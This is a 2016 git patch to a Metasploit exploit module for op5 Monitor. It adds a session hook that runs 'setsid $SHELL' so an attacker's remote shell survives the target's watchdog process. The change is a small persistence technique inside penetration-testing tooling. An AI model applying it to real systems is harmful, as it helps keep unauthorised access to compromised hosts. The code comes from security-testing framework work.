From ea988eaa725fa22549c4b788b63ee0a399006377 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 16 Jun 2016 11:31:35 -0500 Subject: [PATCH] Add setsid to persist the shell Prevents the watchdog from killing our session. --- modules/exploits/linux/http/op5_config_exec.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/exploits/linux/http/op5_config_exec.rb b/modules/exploits/linux/http/op5_config_exec.rb index 4db1754e47..0bd756b76c 100644 --- a/modules/exploits/linux/http/op5_config_exec.rb +++ b/modules/exploits/linux/http/op5_config_exec.rb @@ -124,4 +124,9 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end + + def on_new_session(session) + super + session.shell_command_token('setsid $SHELL') + end end